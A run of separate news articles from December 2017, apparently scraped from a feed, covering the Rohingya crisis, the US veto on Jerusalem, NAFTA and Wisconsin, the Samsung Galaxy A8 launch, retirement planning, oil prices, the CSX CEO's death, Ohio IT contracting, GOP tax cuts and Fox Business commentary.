"The US wants imbalance in the region to ensure that China does not rise and that there is no resurgence of Russian power in the region," he added. "Pakistan has defeated the enemy's dangerous goal by defeating terrorism," he continued, alluding to an unidentified enemy.

The adviser said there is still a long way to go as the Taliban in Afghanistan are becoming stronger and India is accumulating more and more weapons.
Yangon: Myanmar's army says it is investigating a mass grave found in a village in northern Rakhine state, a region where the UN has accused troops of committing atrocities against Rohingya Muslims.

Northern Rakhine has been nearly emptied of its Muslim population since late August, when an army crackdown on Rohingya rebels sent more than 6,55,000 refugees fleeing across the border to Bangladesh.

The UN, US and rights groups have accused Myanmar of carrying out a systematic ethnic cleansing campaign against the stateless Muslim minority, with Doctors Without Borders estimating that at least 6,700 Rohingya were killed in the first month of violence.

On Tuesday Human Rights Watch released a report detailing the army's "systematic killings and rape" of hundreds of Rohingya in Tula Toli village in northern Rakhine on 30 August, adding new testimony to an event that has been documented by journalists and rights groups based on accounts from refugees.

But Myanmar's army has denied all allegations of abuse  while severely curtailing access to the conflict zone in northern Rakhine.

A statement posted on the army chief's Facebook page late Monday said a tip-off led officers to "unidentified dead bodies found at a cemetary in Inn Dinn village," a community in Rakhine's Maungdaw township  the epicentre of the violence.

It did not specify how many corpses were found or what community they belong to.

"Strong legal action will be taken if any member of security forces are involved," the statement added.

Officials could not be reached for comment.

The military has vehemently defended its crackdown as a targeted effort to flush out Rohingya militants who attacked police posts on 25 August, killing around a dozen officials.

The army also accused the insurgents of massacring scores of Hindu villagers in Rakhine after a mass grave of 45 corpses was unearthed in September.

Myanmar's army and civilian government have continued to highlight the suffering of other ethnic groups caught up in the conflict, whom they feel the international community has ignored.

Tens of thousands of ethnic Rakhine Buddhists, Hindus and other minorities were internally displaced by the violence, though many have since returned home.

On Monday UN rights chief Zeid Ra'ad Al Hussein told AFP that the army crackdown could possibly amount to "genocide" of the Rohingya.

"For us, it was clear... that these operations were organised and planned," he said in an interview.

"You couldn't exclude the possibility of acts of genocide.... You cannot rule it out as having taken place or taking place."
Dhaka: Bangladesh and Myanmar on Tuesday reaffirmed their commitment to begin repatriating Rohingya refugees from January, despite rights groups warning that their safety is still not assured should they return.

The foreign secretaries of Bangladesh and Myanmar met in Dhaka to finalise the agreement signed on 23 November for the voluntary return of nearly three-quarters of a million stateless Rohingya living in refugee camps along the border.

A new working group would "ensure commencement of repatriation within two months" by developing a timetable for the verification of refugee identities and logistics of their return, Bangladesh's foreign ministry said in a statement.

"Now, we will start the next step of our work," Bangladesh foreign minister AH Mahmood Ali told reporters after the meeting.

The reaffirmation comes a day after Human Rights Watch, citing the analysis of satellite imagery, said Myanmar's army burned down dozens of Rohingya homes within days of signing the repatriation deal with Bangladesh.

The watchdog said the deal was "a public relations stunt" and warned it contained no guarantee the Rohingya would be safe should they return to Myanmar's conflict-wracked Rakhine state.

An estimated 6,55,000 refugees from the stateless minority group have poured across the border into Bangladesh since August, fleeing what the US and United Nations have described as ethnic cleansing.

Last week the group Doctors Without Borders released a survey which found that nearly 7,000 Rohingya had been killed in the first month of the Rakhine violence.

The military has put the number in the hundreds and denied targeting civilians or committing atrocities, while Myanmar's leader Aung San Suu Kyi said major security operations stopped in early September.

Myanmar has in the past blamed fires in villages on Rohingya insurgents who on 25 August attacked security posts, killing a dozen police and triggering fierce army retribution.

Responding to international pressure, Suu Kyi's civilian government signed an agreement with Bangladesh to start the repatriation of the stateless Muslim refugees within two months.

The agreement promises the "safe and voluntary return" of displaced Rohingya in Bangladesh, not just the latest 6,55,000 new arrivals but more than 70,000 from a separate influx in October 2016.

Testimonies gathered by AFP from displaced Rohingya in Bangladesh suggest few refugees wish to return to Myanmar, where many saw their villages burned to ashes and loved ones killed.
United Nations: The US on Monday vetoed a draft UN resolution rejecting President Donald Trump's decision to recognise Jerusalem as Israel's capital, after all 14 other Security Council members backed the measure.

The veto cast by US Ambassador Nikki Haley highlighted Washington's isolation over Trump's announcement that the US embassy will be moved from Tel Aviv to Jerusalem, effectively ignoring Palestinian claims on the city.

Key US allies Britain, France, Italy, Japan and Ukraine were among the 14 countries in the 15-member council that backed the measure asserting that any decisions on the status of Jerusalem "have no legal effect, are null and void and must be rescinded."

"The United States will not be told by any country where we can put our embassy," Haley told the council after the veto.

Egypt put forward the draft resolution which insists that Jerusalem is an issue "to be resolved through negotiations" between Israel and the Palestinians and expresses "deep regret at recent decisions concerning the status of Jerusalem", without specifically mentioning Trump's move.

The US along with Britain, China, France and Russia can veto any resolution presented to the council, which requires nine votes for adoption.

Breaking with international consensus, Trump announced on 6 December that he would recognise Jerusalem as Israel's capital and move the US embassy there from Tel Aviv, triggering protests and strong condemnation.

US vice-president Mike Pence will visit Jerusalem on Wednesday, wading into the crisis over one of the most controversial issues in the Israeli-Palestinian conflict.

Israel seized control of the eastern part of the city in the 1967 Middle East war and sees all of Jerusalem as its undivided capital. The Palestinians view the east as the capital of their future state.

The draft resolution had included a call on all countries to refrain from opening embassies in Jerusalem, reflecting concerns that other governments could follow the US lead.

It demanded that all member-states not recognize any actions that are contrary to UN resolutions on the status of the city.
A Dec. 17, 2017 Wisconsin State Journal editorial:

Which state will suffer the most if President Donald Trump foolishly follows through with his threat to withdraw the United States from the North American Free Trade Agreement?

Michigan would be hardest hit, according to an analysis by the U.S. Chamber of Commerce. The Wolverine State sends 65 percent of its exports  worth $35 billion and supporting 366,000 jobs  to Canada and Mexico, our nations trading partners in NAFTA for 23 years.

But Wisconsin ranks a close second to Michigan as the biggest loser out of all 50 states, should NAFTA fall apart next year. Wisconsin sends 46 percent of its exports to Canada and Mexico, valued at $9.6 billion and supporting 249,000 jobs, the U.S. Chamber determined.

The harm to farmers would be severe. Mexico is the top export market for Wisconsin dairy products. And without NAFTA, our state could be stuck with a 45 percent tariff on cheese. Manufacturers also are worried. Their goods account for 84 percent of Wisconsin exports and almost half to Canada and Mexico. In addition, consumers would have to pay more because free trade lowers prices on both sides of the U.S. borders.

Yet Trump continues to behave erratically, suggesting NAFTA must be renegotiated on Americas terms or our nation will pull out.

Trump seems to misunderstand the goal of free trade. Its not a zero-sum game in which one country benefits while another is harmed. When allies lower tariffs and allow more competition across international boundaries, all sides get to produce and sell more of what they do best.

Wisconsins leaders  Republicans and Democrats  must not sit idly by while Trump threatens to undermine the peace and prosperity that free trade encourages around the globe. Already, Trump has abandoned important trade negotiations with Pacific Rim nations, ceding leadership to China.

Now Trump is loudly demanding a better NAFTA deal that favors America, while threatening to bolt if he doesnt get his way.

Thats a huge risk for Wisconsin. More than one of every five jobs in Wisconsin depends on foreign trade. And consumers benefit from lower prices for televisions, computers, toys and more.

Its true free trade hurts some industries that struggle to compete on price or quality with foreign producers. But overall, more people in all partner nations get to sell and gain access to more of what they want at better prices.

NAFTA has worked for Wisconsin, Assembly Speaker Robin Vos, R-Rochester, said Friday in Madison, as a trade association, business groups and farmers touted NAFTAs benefits. Its not the time to put new obstacles in place that would hurt the very markets that our business owners and farmers depend on.

Hes right.

So are Democratic supporters of improving, not abandoning, NAFTA. U.S. Rep. Ron Kind, D-La Crosse, recently told the State Journal editorial board hes holding his breath hoping Trump doesnt do something foolish with Mexico trade.

It would be devastating to our ag industry overnight, Kind warned.

U.S. Sen. Ron Johnson, R-Oshkosh, understands the broad benefits of free trade. He should lobby the president to reconsider his harsh rhetoric and stance.

Wisconsin, more than any other state except Michigan, needs NAFTA to continue.
Samsung just announced the Galaxy A8 (2018) and Galaxy A8+ (2018) smartphones in the Galaxy A series after several rumors. These have 5.6-inch and 6-inch (1080  2220 pixels) Full HD+Infinity Super AMOLED displays with 18.5:9 display ratio with curved glass on the back and front. These are powered by Octa-Core Exynos 7885 14nm processor, but still run Android 7.1.1 (Nougat).

These have a 16-megapixel rear camera with f/1.7 aperture, and 16-megapixel and 8-megapixel dual front cameras, both with f/1.9 aperture. This lets you switch between cameras for close-ups with the background to portrait shots and the Live Focus feature lets you adjust the bokeh effect before or after you take the picture. These have new video digital image stabilisation (VDis) technology for shake-free videos and hyperlapse feature for capturing time-lapse videos.

These feature a fingerprint sensor on the back, come with IP68 ratings for water and dust resistance, have MST and NFC support for Samsung Pay and pack 3000mAh and 3500mAh battery, respectively with support for fast charging.

Samsung Galaxy A8 (2018) specifications

5.6-inch (10802220 pixels) Full HD+ Super AMOLED display

Octa-Core (2.2GHz Dual + 1.6GHz Hexa) Exynos 7885 14nm processor with Mali-G71 GPU

4GB RAM, 32GB / 64GB Internal Storage, expandable up to 256GB via micro SD card

Android 7.1.1 (Nougat)

Dual SIM

16MP rear camera with LED flash, f/1.7 aperture

16MP front camera with f/1.9 aperture, secondary 8MP camera with f/1.9 aperture

Fingerprint sensor

Water and dust resistant body (IP68)

Dimension:149.270.68.4mm; Weight: 172g

4G VoLTE, Wi-Fi 802.11ac (2.4/5GHz), Bluetooth v5, NFC, USB Type-C

3000mAh battery with adaptive fast charging

Samsung Galaxy A8+ (2018) specifications

6-inch (10802220 pixels) Full HD+ Super AMOLED display

Octa-Core (2.2GHz Dual + 1.6GHz Hexa) Exynos 7885 14nm processor with Mali-G71 GPU

6GB RAM with 64GB storage, 4GB RAM with 32GB storage, expandable up to 256GB via micro SD card

Android 7.1.1 (Nougat)

Dual SIM

16MP rear camera with LED flash, f/1.7 aperture

16MP front camera with f/1.9 aperture, secondary 8MP camera with f/1.9 aperture

Fingerprint sensor

Water and dust resistant body (IP68)

Dimension: 159.975.7x 8.3 mm Weight: 191g

4G VoLTE, Wi-Fi 802.11ac (2.4/5GHz), Bluetooth v5, NFC, USB Type-C

3500mAh battery with adaptive fast charging

The Galaxy A8 (2018) and Galaxy A8+(2018) come in Black, Orchid Grey, Gold and Blue colors, are priced at 499 Euros (US$ 588 / Rs. 37,755 approx.) and 599 Euros (US$ 706 / Rs. 45,320 approx.), respectively in Europe and will roll out starting from early January 2018.
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R. Riveter is a North Carolina-based accessories company run by military spouses and providing opportunities to other military families across the U.S.

The company currently provides remote income opportunities to more than 100 military spouses throughout the country. Although the company is based in North Carolina, co-founders Lisa Bradley and Cameron Cruse allow military spouses to work remotely and assemble products from any location before mailing their contributions to the fab shop for assembly.

We believe that every military family serves in their own way, even when theyre not wearing the uniform, they are doing what they can to support their service member when they are deployed or training. So what we really wanted to do was to provide a platform or a connection, somewhere where spouses and families could feel safe and connected, Cruse said.

As military wives themselves, Bradley and Cruse understand how difficult it can be to land a stable career when military families are constantly on the move.

More than 50% of U.S. service members are married, and nearly 35% of active-duty service members are married with children, according to Military OneSource.

Every two or three years military families are moving, so it was very difficult for us to find long-term careers for ourselves. So we thought, lets stop being part of the problem and create a solution, Bradley said.
Planning to retire in 2018? Then there are some important resolutions you should make now.

At the end of 2016, there were 800,000 more Americans 65 and older not in the workforce (and without a disability), Bloomberg reported  a number that will continue to rise as baby boomers age. About 10,000 baby boomers turn 65 every day, and even though the average age of retirement is rising in the U.S., it still hovers between 62 and 65 years old, according to U.S. Census Bureau data.

So what should you do before you retire? Here are 9 resolutions to consider, according to financial advisers, first reported by MarketWatch.

Make a plan for what to do with your free time before you retire

To avoid boredom in retirement, start planning seriously for what all that newfound time will mean for you. Consider devoting more time to a hobby, joining a social club, or taking on volunteer work, for example. Liz Revenko, senior financial planner at Mosaic Financial Planning in Berkeley, Calif., suggests mapping out a standard week in retirement  write out what your seven days, morning through night, will look like, adding activities you enjoy and people you like being with. Resolve to plant seeds now to step into a vibrant retirement, rich with purpose and choice, she said.

Practice that lifestyle before retiring

If youre still working and cant take a few months off to pretend youre in retirement, use accumulated vacation or sick time to do nothing but stay in your town, said Andrew Houte, director of retirement planning at Next Level Planning and Wealth Management in Brookfield, Wis. Dont go on vacation or travel. Get a sense of how retirement might look and feel, he said. If youre married, whats that dynamic like when youre both home for extended periods of time together? Alternatively, if you plan to move in retirement, you may want to take that vacation  but go to your potential new city during its off-season, such as a beach town during its less busy season or ski area in the summer.

Get the important documents settled

Even at your healthiest, or when youre struggling to save money, wills and other life documents, such as a power of attorney, are important, especially if you want your wishes to be followed. Dont leave your family with difficult decisions and scrambling to piece together your finances, said James White, a financial adviser and founder of J.H. White Financial in Pottstown, Penn. Know who you want to make the medical decisions, who should be executor of your estate and how to divide your assets. And, though it seems morbid, write out a safely stored document with all the important information you know that your family may need, such as all financial accounts, passwords to social media and other websites and even family recipes they may want, to keep your familys legacy alive.

Reallocate your investments appropriately

Everyone should know how their investment portfolios are allocated (though 40% of investors do not). General theories suggest retirees should be invested conservatively, since they are no longer generating substantial income and need their assets sooner rather than later. But some advisers say retirees should have buckets of investments, some risky and some safer.

Add a just-in-case bucket to your budget

When planning for regular expenses, such as groceries, gas and utilities, rent or mortgage payments, and an emergency fund, dont forget to include an extra bucket specifically for just-in-case situations, said Todd Minear, a financial adviser and founder of Open Road Wealth in Kansas City, Mo. It should be about 10% to 20% above all other planned expenses, and would include unexpected desires, such as a bathroom remodel, new carpet or bucket list items.

Dont miss: Youll never live to be 150 and other things to know about aging in America

Declutter

Getting rid of possessions can be a tedious process, but it frees up space in your home  and could do the same in your mind. By simplifying your life early in retirement, youre not only freeing up space in your home, but youre able to take your time to examine whats most meaningful to you and release anything that no longer serves you, said Penny Gordon, senior vice president and private wealth adviser at Gibraltar Private Bank & Trust in East Berlin, Penn. Having a clean slate is just as important as getting your financial house in order, she said (and it could make downsizing homes in the future easier, too). The items that no longer mean much to you may mean a great deal to a family member, friend or charity organization, Gordon added. Some may want to follow Marie Kondos method of decluttering, where she puts everything of one category (such as clothes, books or linens) on the floor and picks them up one by one to see which spark joy and which dont. When something is no longer important, youre supposed to thank the item for its time and find a new place for it (outside of your life).

Prepare to take required minimum distributions

If youre already retired when you turn 70  years old, you must take required minimum distributions (also known as RMDs). Not all retirement accounts require RMDs, but if they are ignored (or forgotten), retirees could end up paying a penalty fee on top of taxes. Withdrawals typically begin at about 3.6% of assets and increase as a person gets older. For more information on RMDs and strategies to claim them, read here.

Know your benefits

Educate yourself on what your company gives you in retirement, including how your retirement accounts are invested and if you get any health benefits. About a quarter of employers who provide health insurance also offer some sort of financial help with medical needs (though that share of employers used to be a lot higher  60% in the 1980s). Along with what employers offer, its important to know what the government will give you. Social Security benefit checks are expected to shrink in a few decades, because there are more people currently retiring than there are people entering the workforce. If you havent already, create an account with the Social Security Administration at My Social Security to ensure work history and personal information is current, view Social Security benefit statements or see what you should expect to receive in the future.

Have money talks with the people who matter to you

Talking about money isnt always easy between family and friends, but its important they know where you stand financially and what  if anything  they should expect to receive as inheritance. Eight in 10 parents do not talk about inheritance with their children, but that lack of transparency could mean poor financial planning for the kids if they expect more than they should  or disappointment, resentment or fights between those left behind.

Resolve to delve into healthy conversations around money with the people who are affected by your financial decisions, said Danielle Howard, a financial adviser and founder of financial advisory firm Wealth by Design in Basalt, Colo. That means discussing your financial history, what you hope to do with the money and even what you learned about money, which could help loved ones avoid big mistakes. As you articulate to people who can learn from you or hold you accountable, you will create financial and emotional wealth, Howard said.

This article first appeared on MarketWatch.
Oil edged up towards $64 a barrel on Tuesday, helped by a North Sea pipeline outage, OPEC-led supply cuts and expectations that U.S. crude inventories had fallen for a fifth week.

But rising U.S. output has put a lid on gains. Shale production will rise to a record in January, according to a government forecast published on Monday, as higher prices encourage increased drilling.

Brent crude LCOc1, the global benchmark, was up 13 cents or 0.2 percent to $63.54 a barrel at 11:45 a.m. (1645 GMT) U.S. crude CLc1 gained 25 cents or 0.4 percent to $57.41.

The shutdown of the North Seas Forties pipeline since last week has supported Brent, as Forties is the largest of the five crude grades underpinning the benchmark. On Dec. 12, Brent reached $65.83, its highest since mid-2015.

Youve had a little surge because the pipeline is still plaguing the North Sea, said Rob Haworth, senior investment strategist at U.S. Bank Wealth Management, Its enough to sway some market sentiment but a lot of it is already priced in.

Ineos, the operator of the Forties pipeline, said on Tuesday it was moving forward with a preferred repair option and the timeframe for the fix remained two to four weeks starting from Dec. 11, the date of the shutdown.

Oil ticked up after reports that a missile was fired at the Saudi Arabian capital Riyadh from Yemen, but Saudi Arabia said it intercepted the missile and no casualties were reported.

Prices have also drawn support from a deal by the Organization of the Petroleum Exporting Countries and non-member producers including Russia to cut crude output to curb a global glut.

OPEC and its allies have extended the agreement until the end of 2018 and Russias Rosneft said on Monday it could be maintained beyond next year.

The cuts have trimmed global oil inventories, and the latest weekly supply reports are expected to show a further reduction.

U.S. crude oil inventories were forecast to have fallen for a fifth straight week along with a probable fall in distillate stocks last week, a preliminary Reuters poll showed on Monday.

The first of these reports, from the American Petroleum Institute, is due at 4:30 p.m. EST on Tuesday. [EIA/S]

Still, rising U.S. production is countering lower supply elsewhere. U.S. shale output in January is forecast to increase by 94,000 barrels per day to 6.41 million bpd, according to the EIAs monthly drilling productivity report published Monday.
The weekend death of CSX CEO Hunter Harrison less than a year after he took the railroad's top job raises questions about the future of his reforms.

But CSX officials say the 73-year-old Harrison did enough since taking over in March to change the direction of Jacksonville, Florida-based railroad, and executives he trained will carry out the plan.

Harrison previously led turnarounds of Canadian Pacific and Canadian National railroads with a tightly scheduled operating model that he refined throughout his career.

At CSX, Harrison changed the way trains are assembled at eight of its 12 railyards, idled hundreds of locomotives and the railroad eliminated roughly 4,000 jobs.

The changes led to severe service problems over the summer, and three top CSX executives departed last month. But service has been improving through the fall.

Two days before Harrison died on Saturday, CSX named Jim Foote acting chief executive. Foote arrived at CSX two months ago, but had worked with Harrison for more than a decade at Canadian National.

"Once joining CSX, I realized just how much progress has been made replicating the transformation we effected at Canadian National some years ago. I believe that the battleship here has turned," Foote said in a call with investors Friday after Harrison went on medical leave.

Foot said more than 150 mid-level managers at CSX have been trained in Harrison's operating model.

CSX's stock fell almost 8 percent Friday after it was reported Harrison was taking a medical leave. The stock recovered about 1.3 percent Monday, rising 66 cents to close at $53.59.

Stifel analyst John Larkin said he thinks Foote will carry on with Harrison's plan without many issues.

"Mr. Foote has roughly 40 years of experience in the industry and was instrumental in ably assisting Mr. Harrison in the dramatic transformation of the Canadian National Railway which largely took place between 1998 and 2009," Larkin wrote to investors.

JP Morgan analyst Brian Ossenbeck said investors need to know more about the executives who will work with Foote and the railroad's succession plan. But he predicted that Harrison's legacy will endure at CSX.

CSX plans to outline its strategy for investors at a conference in March.

Raymond James analyst Patrick Brown said Harrison's death and last month's departure of CSX's chief operations officer and chief marketing officer raise questions about whether there is enough expertise on hand to implement his operating model.

Harrison was hired at CSX after the Mantle Ridge hedge fund bought a stake in the railroad and began urging changes.

After shareholders approved it, CSX agreed to pay $84 million to cover compensation that Harrison lost by retiring early from Canadian Pacific.

CSX operates more than 21,000 miles of track in 23 Eastern states and two Canadian provinces.
Ohio's government contracting agency lacks rules for ensuring equal and fair competitive bidding by outside IT vendors, the state watchdog said in a report issued Monday.

Inspector General Randall Meyer found the Department of Administrative Services' contract process for information technology threatens the "fair, open, and honest market place" for businesses.

He recommended the agency do more to ensure competitive bidding and provide more complete documentation when such bidding isn't possible.

Department spokesman Tom Hoyt said many of Meyer's recommendations have already been implemented. It has placed responsibility for procurement with purchasing specialists outside Administrative Services' IT department and is issuing regular program reports to the Legislature, he said.

"We worked with the Inspector General as he prepared this report, and we will review it carefully to see if there is more we can do to improve our operations," Hoyt said.

The watchdog report follows an investigation by The Columbus Dispatch that found department officials sometimes thwarted policy and analysts' warnings to questionably award millions of dollars of no-bid contracts, often at excessive prices and to firms where former department executives worked. The review looked back to 2011.

The department has held a waiver of competitive selection on such contracts from the state Controlling Board for 45 years. It had argued that the arrangement allowed flexibility that saved Ohio taxpayers millions of dollars.

In June, the state Controlling Board granted the department permission to use an alternative way of selecting some vendors, exempting it and other state agencies from competitive selection in certain cases  but with new protections.

The new protocol calls for obtaining at least three price quotes from among 500-plus pre-qualified suppliers. The contract still could be awarded through the unbid process if two or fewer bids are received or only one company can provide the product or service.

State Rep. Jack Cera, a Bellaire Democrat and Controlling Board member, asked Meyer for additional investigation. Earlier this month, Meyer found an Administrative Services technology administrator wrongly solicited a $37,000 sponsorship fee from a company that has received millions of dollars in state contracts.

Cera said Monday that simply recommending improvements is not enough.

"Today's report confirms what many have known for quite some time: Powerful public officials at the highest levels of state government have misused the system and taxpayer dollars to benefit political insiders and friends," he said in a statement. "This is just the latest report of wrongdoing in what is quickly becoming a pattern of corrupt activity."

Cera was among backers of a budget amendment that would have created new oversight protections on unbid contracts. It cleared both the House and Senate, but was vetoed by Republican Gov. John Kasich.

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Online: http://watchdog.ohio.gov

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This story has been corrected to reflect the report found a lack of adequate rules, not rules violations.
The tea party class of 2010 vowed to usher in a new era for the Republican Party, one where conservatives clamoring for fiscal discipline would roll back government spending to rein in trillion-plus budget deficits.

Not anymore.

Republicans are returning to their Ronald Reagan-era roots  tax cuts first, followed by vague promises of cutting spending down the road. Concerns about growing budget deficits have been shelved as Republicans controlling Washington focus instead on delivering tax breaks along with spending increases for the military.

GOP leaders insist they haven't abandoned their desire to confront trillion-dollar deficits. Looking toward 2018, House Speaker Paul Ryan has raised the prospect of tackling runaway benefit programs  with the spike in the deficit caused by the tax overhaul already being used to justify a potential round of austerity next year.

That would require political courage that's rare in an election year in which Republicans face the prospect of daunting losses.

If history repeats, the spending cuts won't be realized. Reagan's assault on the bureaucracy sputtered. Republicans in Congress haven't made a serious run at cutting spending since a failed 2011 budget deal delivered automatic cuts known as sequestration to Washington. Those, too, have unraveled.

And whether President Donald Trump's tax cuts prove to be durable remains to be seen. Reagan's 1981 tax cut was pared back several times. Three of the following four presidents  George H.W. Bush, Bill Clinton and Barack Obama  signed tax increases into law.

For now, the clear winners are the individuals soon to pocket tax cuts, along with corporations and businesses that stand to reap a windfall. The potential losers are the people who rely on the social safety net. But if Republicans fail, again, in their promises to wrestle the budget under control, the joke will be on the tea party base that thought it was voting for fiscal conservatism.

The budget deficit, which registered $666 billion in the 2017 budget year, is set to soar even higher, fueled by the tax cuts, a disaster relief total set to breach $130 billion, and long-promised, record budget increases for the military. Trillion-dollar deficits loom before the end of Trump's term, which has Republicans already planning a pivot to long-promised curbs on government benefit programs such as food stamps, Medicaid and Medicare.

"There is no way out," Rep. Mark Sanford, R-S.C., a member of the party's deficit-hawk wing, said Tuesday. "The tax bill is in essence the nail in the coffin on driving the absolute mathematical necessity of reform to entitlement programs. You can't have both."

Ryan said in an interview Tuesday that "even if we get the kind of growth we hope to get (from tax cuts), you still have to reform entitlements if you're going to get this debt under control. You cannot grow your way out of the entitlement problem we have coming."

It bears noting that Republicans have promised spending cuts for years. The triumphant 2010 tea party class of GOP lawmakers who seized control of the House ran on fiscal discipline, and their demands for austerity brought the nation to the brink of default in the summer of 2011.

But the 2011 budget deal that delivered much-maligned automatic cuts to annual spending for agencies is unraveling, and controversial, long-promised curbs to the rapid growth of Medicare haven't ever left the planning stages. Cuts in domestic programs such as food stamps or housing just won't make a mathematical dent in the $20 trillion debt that future generations will bear.

Next year, the arrival of Doug Jones, D-Ala., will cut the Senate GOP advantage to just 51-49. The recent track record of Congress making difficult budget choices in election years doesn't inspire confidence. And any potential savings from so-called welfare reform are dwarfed by the $1.5 trillion or more deficit tag for the tax measure.

"Once you cut taxes, it's real hard to turn around and tell people you have to cut spending for fiscal responsibility," said Brian Riedl, a senior fellow at the conservative Manhattan Institute. "Entitlement reform was hard before the tax cuts; it'll be nearly impossible after."

In passing the tax bill and then promising spending cuts later, Republicans are attacking the GOP policy menu like their predecessors  dessert first, vegetables later.

It's a replay of the experience under President George W. Bush, who powered through tax cuts in 2001 and 2003 and the creation of a Medicare prescription drug benefit in 2003 as well. But when the agenda turned to cutting spending, particularly a 2005 bid to shore up Social Security, Bush flopped badly, while the tortured legislative path later that year to enact modest spending cuts of $40 billion over five years proved almost comically difficult.

In the 2006 midterms, the GOP president and Republicans lost control of the House and Senate.

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EDITOR'S NOTE: Andrew Taylor has covered the budget and government spending for the AP since 2005.
On Monday, President Donald Trump revealed his national security strategy, where he called out powerhouse trade partner China as a threat to U.S. economic dominance. According to Politico, an unreleased White House document suggests that the Trump administration may look to put tariffs on Chinese-made solar power equipment.

SunPower CEO Tom Werner on Tuesday argues that if the Trump administration puts a tariff on Chinese solar panels, it will have a negative impact on both the manufacturing and energy sectors.

There are 1,000 jobs, 2,000 at peak, in the manufacturing sector that [should] be protected. There are 260,000 outside of that in the value chain. So if you increase the cost of a solar panel, then youll decrease demand and youll have less employment, 260,000 to 2,000 or 130 to 1. So you need to look at the impact across the entire value chain, he told FOX Business Liz Claman on Countdown to the Closing Bell.

Werner said if the Trump administration were to put tariffs on Chinese solar panels, then China would put a tariff on American-made solar panels.

The Trump administration is also looking to prevent intellectual property theft by foreigners, including the Chinese.

Werner explained how his company is able to sell panels to China without worrying about the Chinese committing intellectual property theft.

[Its] super hard to make what SunPower makes, and so it has not been replicated and the difficulty of how we make it, we keep very closely held in our own factory and of course the [intellectual property] is right here in California, he said.
Fox News senior judicial analyst Judge Andrew Napolitano on Monday said the FBI offered former British spy Christopher Steele $50,000 if he could corroborate the Trump-Russia dossier.

I believe, just from examining the public sources, that the FBI offered Christopher Steele $50,000 if he could corroborate the dossier. He either couldnt, didnt, wouldnt, and they didnt pay him the money, Napolitano told FOX Business' Stuart Varney on Varney & Co.

Last Wednesday, Deputy Attorney General Rod Rosenstein testified before the House Judiciary Committee for an oversight hearing on Capitol Hill. Rep. Ron DeSantis (R-FL) asked Rosenstein if the FBI paid for the Russia dossier, to which he replied, Im not in a position to answer that question. DeSantis followed up by asking, Do you know the answer to the question? Before being interrupted, Rosenstein answered back, I believe I know the answer, but the Intelligence Committee is the appropriate committee

Napolitano said the committee should have continued to press Rosenstein for an answer to DeSantiss question.

I would have grilled him and subpoenaed an answer out of him because the American public has the right to know, he said.

Bruce Ohr, who had previously served in the deputy attorney generals office, is expected to testify in a closed-door hearing before the Senate Intelligence Committee on Monday and will most likely be questioned about whether the FBI paid for the Russia dossier.

The committee had learned that Ohr spoke with both Steele and Glenn Simpson, who founded Fusion GPS. This has led some Republicans to suspect that former federal officials had been working to sabotage then-candidate Trump.
Despite sharing an affinity for tax cuts, President Donald Trump and former President George W. Bush, the 43rd president, continue their frosty relationship with Bush choosing not to support or condemn the Republican tax reform bill, FOX Business has learned.

Bushs spokesman, Freddy Ford, tells FOX Business that the former Commander in Chief will not be weighing in because hes not a pundit, hes a former President, and prefers not to bloviate and opine.

This is not the first time the former president has avoided backing the Trump agenda as both have had a contentious relationship since the 2016 presidential election.

The most recent example came in October during a policy seminar in New York when Bush went after Trump without mentioning him by name.

We have seen our discourse degraded by casual cruelty, Bush said at the time. Weve seen nationalism distorted into nativism. Forgotten the dynamism that immigration has always brought to America.

Trump, for his part, hasnt avoided stoking the flames. On the campaign trail, he constantly barraged the Bush administration for starting the Iraq war and attacked Jeb Bush, George Bushs brother and then nominee for president, labeling him low energy Jeb.

A spokeswoman for the White House did not return calls for comment at the time of publication.

Bushs lack of endorsement for the Republican tax plan, the Tax Cuts and Jobs Act, may seem surprising to some, due to his efforts when he was in office to make significant changes to the tax code. In what became known as the Bush tax cuts, the former president was the architect of one of the most expansive tax reform efforts in the history of the United States with the first of two bills being named the Economic Growth and Tax Relief Reconciliation Act of 2001.

The bill at the time was considered revolutionary as it cut each individual tax bracket and limited the capital gains tax. The second bill of the Bush tax cuts was the Jobs and Growth Tax Relief Reconciliation Act of 2003, which increased the exemption amount for the Alternative Minimum Tax as well as a continued lowering of individual income taxes.

The catch with the Bush tax cuts was that they phased out in 2010. They were eventually renewed for two years under President Obama, and only the individual tax cuts for those earning less than $400,000 and couples making less than $450,000 per year remained permanent.

Trump scored a victory on Tuesday, as the House passed its own bill on Tuesday by a vote of 227 to 203. The bill lowers the corporate rate from 35% to 21% and drastically changes the rates for individuals. Its expected to pass in the Senate as almost every Republican has guaranteed their support, except for Sen. Jeff Flake (R-AZ), who has yet to commit to voting in favor of the bill.
Tax reform has been a key part of President Trumps agenda and he has long touted the Republican tax plan as the biggest tax cut ever. The GOP is getting closer to achieving its goal of getting a tax reform bill to President Trumps desk by Christmas. Though the tax bill would cut taxes for corporations, it also benefits private-equity investors, which Trump had promised to change.

FOX Business Trish Regan weighed in on the GOP tax bill on The Intelligence Report.

This guy, Stephen Schwarzman (Blackstone Group CEO) whos made over $400 million in one year and percentage-wise, well guess what his tax bracket is actually lower than a New York City cop. How do you like that? And its because he calls his income investments. The president promised to fix this remember?

Despite the presidents promises, the loopholes still exist in the tax bill in Congress that benefit private-equity investors such as Schwarzman.

You mean to tell me special-interest lobbyists are so alive and well in Washington that they convinced the entire House and the entire Senate to ignore this inequity? Im beginning to wonder if our country is becoming ungovernable. Because Ill tell you one thing, our Founding Fathers never, ever anticipated a swamp like the one we have today, Regan said.
Tensions are on the rise in the Middle East as Saudi Arabia says it has intercepted a ballistic missile near Riyadh, according to Saudi state media.

General Jack Keane said the United States must see Iran as a top threat as they seek to dominate control in the Middle East.

We have got to see Iran as the number one malign actor in the Middle East, Keane told the FOX Business Dagen McDowell on Mornings with Maria. We have got to organize with the Sunni Arabs to push back comprehensively against Irans aggressive behavior.

Coalition forces confirm intercepting an Iranian-Houthi missile targeting south of Riyadh. There are no reported casualties at this time. pic.twitter.com/31HUczMl21  CIC Saudi Arabia (@CICSaudi) December 19, 2017

President Donald Trump laid out his plan for national security, on Monday, and touted Americas economy while putting rivals on notice. Gen. Keane added in order to suppress Iran, the United States must create a strategy with Saudi Arabia.

We should, in Syria, with our Sunni Arab friends, we should be trying to contain Iran west of the Euphrates River Valley so they are not able to effectively put together a land bridge, Keane said. Weve got to hold Iran accountable for the behavior of their proxiesthat is the brilliance of their strategy.
After Rose McGowan had some not-so-kind words for fellow actress Meryl Streep over the disgraced Hollywood mogul Harvey Weinstein, Streep has responded to the criticism with a lengthy statement of her own.

As previously reported, McGowan, who has accused Weinstein of rape, took issue with the idea that people like Streep would be wearing black to the upcoming Golden Globes as a silent protest against sexual misconduct in the industry.

